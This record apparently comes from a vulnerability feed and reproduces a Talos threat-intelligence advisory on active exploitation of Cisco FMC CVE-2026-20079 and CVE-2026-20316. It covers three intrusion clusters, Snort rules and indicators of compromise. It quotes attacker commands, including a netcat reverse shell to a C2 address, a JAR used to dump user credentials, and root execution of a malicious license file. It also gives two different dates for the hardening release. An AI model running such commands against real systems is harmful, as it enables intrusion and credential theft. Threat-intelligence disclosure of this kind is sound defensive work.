{"uuid": "ff81ecd2-03c9-49f3-a4d2-04b4ae254c8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "name": "Active exploitation of Cisco Secure Firewall Management Center vulnerabilities", "description": "# Active exploitation of Cisco Secure Firewall Management Center vulnerabilities\n\nRef: https://blog.talosintelligence.com/fmc-ongoing-exploitation/\n\nCisco Talos is actively tracking the exploitation of two vulnerabilities in Cisco\u2019s Secure Firewall Management Center (FMC) Software. First, [CVE-2026-20079](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2) is an authentication bypass vulnerability in unpatched instances of Cisco\u2019s Secure FMC Software, which allows an unauthenticated, remote attacker to bypass authentications and execute scripts on impacted devices to obtain root access to the underlying operating system. Second, [CVE-2026-20316](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-static-cred-BET3Cjh) is a vulnerability that allows a remote attacker to log in using a low-privileged account.\n\nCVE-2026-20079 is a critical vulnerability with a CVSS score of 10.0. Customers are strongly advised to follow Cisco\u2019s guidance provided in the [security advisory](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2) and apply the security patches previously made available.\n\nCVE-2026-20316 has a CVSS score of 5.3, however it can be used with other Cisco Secure FMC vulnerabilities to elevate privileges.\n\nDue to Talos identifying in the wild abuse of these CVE\u2019s, customers are strongly advised to apply hotfixes for affected software versions already released by Cisco for [CVE-2026-20079](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2) and [CVE-2026-20316](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-static-cred-BET3Cjh). A comprehensive hardening release consisting of these hotfixes along with other internally discovered vulnerabilities will be released next week (Week of September 14th).\n\nTalos\u2019 analysis illustrates three clusters of post-compromise activity on FMC instances associated with state-sponsored and crimeware threat actors, as described below. The first cluster which we track as UAT-12197, involves the exploitation of CVE-2026-20079, leading to the deployment of web shells, a Java Archive (JAR)-based command executor, and credential exfiltration.\n\nThe second intrusion cluster, which we attribute to UAT-11823, consisted of the exploitation of CVE-2026-20079 and CVE-2026-20316, leading to the deployment of a Netcat-based reverse shell and proxy tooling, ultimately leading to the deployment of a variant of the [Cyclops Blink](https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-054a) malware, previously attributed to the Russian APT [Sandworm by the United States and United Kingdom](https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-054a).\n\nTalos is further disclosing a third cluster of malicious activity on an FMC instance, attributed to UAT-11988, who we assess with high confidence is a ransomware operator. The preliminary stages of the attack entailed the threat actor gaining access to the system via static credentials ([CVE-2026-20316)](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-static-cred-BET3Cjh) and then abusing legitimate built-in FMC tooling in living-off-the-land (LOTL) fashion to conduct extensive reconnaissance of the victim\u2019s environment, deploy tunneling tools to maintain network access, harvest credentials, and build a target list of endpoints to encrypt/lock. Subsequent actions and tactics, techniques, and procedures (TTPs) the threat actor used in the victim\u2019s environment were consistent with those of [Qilin ransomware](https://blog.talosintelligence.com/uncovering-qilin-attack-methods-exposed-through-multiple-cases/) affiliates.\n\nCluster #1: UAT-12197\n---------------------\n\nThis cluster of activity involved the successful exploitation of CVE-2026-20079 and the subsequent placement of a malicious web shell in the CSM Tomcat webroot directory. The web shell is JSP-based and Base64 decodes a parameter labelled \u201cF6C1F0E7\u201d, consisting of the class name to load in the JAVA process:\n\n![](https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/09/ws_1.png)\n\n![](https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/09/ws_2.png)\n\nThe web shell was used to place a malicious JAR file in the same directory. The threat actors used the JAR file (named \u201ccmd\\[.\\]jar\u201d) to query the compromised systems\u2019 internal databases to obtain user authentication data and credentials:\n\n```\n/var/jre/bin/java -jar cmd.jar '/var/sf/bin/OmniQuery.pl -db mdb -e \\'SELECT name, auth_data FROM users;\\''\n\n```\n\n\nThe JAR file is basically a command executor that obtains the command to be executed from its command line and executes it using /bin/sh -c <command>.\n\n![](https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/09/jar_1.png)\n\nCluster #2: UAT-11823\n---------------------\n\nTalos attributes this cluster of activity to UAT-11823, an advanced persistent threat (APT) actor, with high confidence. UAT-11823 overlaps in tooling with the [Sandworm](https://malpedia.caad.fkie.fraunhofer.de/actor/sandworm) APT actor. The threat actor obtained initial access to compromised systems by either exploiting CVE-2026-20079 or via static credentials. After obtaining access, UAT-11823 subsequently updated the \u201clicense.tmp\u201d file on disk (using Makeself) with a malicious copy to establish a Netcat-based reverse shell to their own command-and-control (C2) server:\n\n```\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 208[.]123[.]119[.]215 3090 >/tmp/f\n\n```\n\n\nThis license file essentially acted as a Makeself package that was then executed via the installation process (as root) by the \u201cpackage\\_info\\[.\\]pl\u201d utility:\n\n```\n/usr/local/sf/bin/package_info.pl /var/tmp/license.tmp --lsm\n\n```\n\n\nThis mechanism of deploying malicious package files is likely an indicator of the exploitation of CVE-2026-20316, a vulnerability that allows a remote attacker to log in using a low-privileged account. Talos assesses with high confidence that the attackers exploited CVE-2026-20079 and CVE-2026-20316.\n\n### Configuration exfiltration\n\nUAT-11823 also deployed two bash scripts to harvest managed-device configurations. The configurations collected were staged into archives for subsequent exfiltration.\n\n![](https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/09/data-src-image-f5c9c422-b2f0-4f1f-b88c-3a023715115d.png)\n\n### Modular ELF implant: Cyclops Blink\n\nThe threat actors downloaded a modular ELF implant from one of their Netcat C2 servers. The ELF-based implant is [Cyclops Blink](https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf), a malware family previously attributed to [Sandworm,](https://malpedia.caad.fkie.fraunhofer.de/actor/sandworm) a [Russian](https://www.justice.gov/archives/opa/pr/justice-department-announces-court-authorized-disruption-botnet-controlled-russian-federation) APT actor. This variant of Cyclops Blink consists of the following capabilities:\n\n*   Establish persistence scripts in /etc/init.d/ that execute the implant\n*   DNS over HTTPS (DoH) IP resolution\n*   File administration including downloads and uploads\n*   Credential harvesting\n*   Arbitrary file and command execution on the compromised system\n*   Network scanning and discovery\n*   Packet sniffing (with option filters)\n\nCluster #3: UAT-11988, a Qilin ransomware operator\n--------------------------------------------------\n\nA third cluster of activity entailed a ransomware operator (tracked as UAT-11988) logging into an FMC device with static credentials ([CVE-2026-20316](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-static-cred-BET3Cjh)), performing extensive reconnaissance, domain enumerations, credential theft, and building a list of target endpoints within the compromised organization for encryption.\n\nThe threat actor also staged a SOCKS proxy and reverse-SSH tunnel to forward ports from internal hosts back to their own infrastructure.\n\nOnce all these preliminary actions were completed, the operator began conducting additional probes within the compromised network, deploying antivirus (AV) killers and ultimately the Qilin ransomware family.\n\n### Instrumenting operations via package\\_info.pl\n\nAfter successfully accessing the device, the threat actor abused the legitimate utility \u201cpackage\\_info.pl\u201d to execute an attacker-crafted malicious \u201clicense\\[.\\]tmp\u201d file with root privileges. The malicious file consisted of commands to run on the system to conduct extensive reconnaissance in the victim organization\u2019s environment:\n\n*   Host names, IP addresses, directory listings\n*   Active Directory (AD) service-accounts credentials, MySQL account credentials\n*   Domain account information exfiltration\n*   Computer object lists\n*   Hostname to IP mappings spanning domain controllers, ADFS, exchanges, file servers, database servers, etc.\n\nAll the information collected was staged into already accessible files on the FMC server and was exfiltrated by the threat actor using HTTP GET requests.\n\n### Tunneling into the compromised organization\n\nOnce extensive reconnaissance was completed, the threat actor attempted to establish persistent network access into the victim organization using a Python SOCKS5 proxy (socks5.py) and a reverse-SSH tunnel from the FMC back to the attacker\u2019s own remote host. The following ports were forwarded: LDPA (389), LDAPS (636), Kerberos (88), SMB (445), NETBIOS (135), and WinRM (5985).\n\n### Pre-ransomware actions and ransomware deployment\n\nThe threat actor conducted extensive probing of endpoints in the victim\u2019s environment, deployed open-source tooling such as impacket, Invoke-TheHash, and custom-made AV killers \u2014 all followed by the deployment of the Qilin ransomware on selected endpoints.\n\nRecommendations and detection guidance\n--------------------------------------\n\nDue to Talos identifying in the wild abuse of these CVE\u2019s, customers are strongly advised to apply hotfixes for affected software versions already released by Cisco for [CVE-2026-20079](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2) and [CVE-2026-20316](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-static-cred-BET3Cjh). A comprehensive hardening release consisting of these hotfixes along with other internally discovered vulnerabilities will be released next week (Week of September 16th). Nonetheless, given the in the wild abuse we strongly recommend that customers apply the referenced hotfixes as soon as possible, pending the hardening release.\n\nCustomer support is also available by initiating a [TAC request](https://sec.cloudapps.cisco.com/security/center/resources/security_vulnerability_policy.html#gsrq).\n\n*   Snort SIDs for CVE-2026-20079: 66075 \u2013 66080.\n*   Snort SIDs for CVE-2026-20316: 66883.\n*   Snort SIDs for the malware: 66960, 66961.\n\nIndicators of compromise\n------------------------\n\nIOCs for these threat clusters are also available on our GitHub repository [here](https://github.com/Cisco-Talos/IOCs/tree/main/2026/09).\u00a0\n\n\n\n*   IOC  :   B037f45e02a289325a1a5eb0d4db6a9fce9954fd0fdfd07162cb4eb2acbef77d  \n  *   Cluster  :   UAT-12197  \n  *   Description  :   home[.]jsp \u2013 web  shell.  \n*   IOC  :   Db491181ece3f319de6567ab6f6daa90c6879911cd890155e6b7d8cc7a1a8c8e  \n  *   Cluster  :   UAT-12197  \n  *   Description  :   cmd[.]jar \u2013  JAR-based command executor.  \n*   IOC  :   89.34.96[.]56    \n  *   Cluster  :   UAT-11823  \n  *   Description  :   NetCat-based  reverse shell C2.  Cyclop Blink  C2.  \n*   IOC  :   208.123.119[.]215  \n  *   Cluster  :   UAT-11823  \n  *   Description  :   NetCat-based  reverse shell C2.  \n*   IOC  :   104.218.165[.]253  \n  *   Cluster  :   UAT-11823  \n  *   Description  :   Attacker\u2019s  vulnerability scanner for CVE-2026-20079.  \n*   IOC  :   91.214.78[.]118  \n  *   Cluster  :   UAT-11823  \n  *   Description  :   NetCat-based  reverse shell C2.  \n*   IOC  :   6f98add5d1a7729192b6ad8491d85c505c64836f7881742d6b93bd8e3d2fe461  \n  *   Cluster  :   UAT-11823  \n  *   Description  :   Cyclops Blink  malware.  \n*   IOC  :   43.204.2[.]142  \n  *   Cluster  :   UAT-11988  \n  *   Description  :   Attacker IP  address used to conduct intrusions.  \n\n\n### Integrated Coverage", "creation_timestamp": "2026-09-10T16:04:21.977882+00:00", "timestamp": "2026-09-10T16:04:21.977882+00:00", "related_vulnerabilities": ["CVE-2026-20316", "CVE-2026-20079"], "author": {"login": "adulau", "name": "Alexandre Dulaunoy", "uuid": "c933734a-9be8-4142-889e-26e95c752803"}}